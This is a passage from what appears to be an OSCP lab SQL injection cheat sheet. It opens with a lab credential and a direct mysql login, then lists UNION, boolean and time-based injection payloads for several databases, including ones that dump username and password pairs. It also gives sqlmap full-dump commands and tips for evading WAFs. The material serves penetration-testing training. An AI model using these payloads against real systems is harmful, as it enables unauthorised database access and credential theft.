# admin:password → Admin panel access
# Or connect to database directly (if accessible)
mysql -u webapp -p'password' -h 10.10.10.100 webapp
Quick Reference Cheat Sheet
UNION-Based Payloads
-- Column count
' ORDER BY N-- -
-- Writable columns
' UNION SELECT 1,2,3-- -
-- Database info
' UNION SELECT 1, database(), version()-- -
-- All tables
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM information_schema.tables WHERE table_schema=database()-- -
-- All columns
' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_name='target'-- -
-- Extract data
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -
-- Paginated extraction
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -
Boolean-Based Payloads
-- Length check
?id=1 AND LENGTH(database())=N-- -
-- Character extraction
?id=1 AND SUBSTRING(database(),1,1)='c'-- -
-- ASCII binary search
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > N-- -
-- Count rows
?id=1 AND (SELECT COUNT(*) FROM users) > N-- -
Time-Based Payloads
-- MySQL
?id=1 AND IF(condition, SLEEP(5), 0)-- -
?id=1 AND IF(condition, BENCHMARK(10000000, SHA1('test')), 0)-- -
-- MSSQL
?id=1; IF(condition) WAITFOR DELAY '0:0:5'--
-- PostgreSQL
?id=1 AND (SELECT CASE WHEN condition THEN pg_sleep(5) ELSE NULL END)--
sqlmap One-Liners
# Full enumeration and dump
sqlmap -u "URL" --batch --dbs -D dbname --tables -T tablename --columns --dump -C col1,col2
# With delay and random user-agent
sqlmap -u "URL" --batch --delay=2 --random-agent --dump
# POST data
sqlmap -u "URL" --data="param=value" --batch --dump
# Cookie-based injection
sqlmap -u "URL" --cookie="id=1" --batch --dump
Common Pitfalls and Tips
-
Always URL-encode special characters when sending via browser:
'→%27--→%2D%2D(space) →%20or+#→%23
-
GROUP_CONCAT truncation is silent — if output seems incomplete, reduce batch size
-
Boolean extraction is slow — always use binary search, never linear guessing
-
Time-based is unreliable under load — network latency can mask delays; use longer delays (5-10 seconds)
-
WAFs may block SLEEP/BENCHMARK — try alternative techniques or encoding
-
Always check for stacked queries (
;) — some apps allow multiple statements -
Save everything — export sqlmap results, save hash files, document all findings
-
For OSCP labs: Start with UNION → fall back to Boolean → fall back to Time-based → use sqlmap as last resort (manual exploitation shows deeper understanding)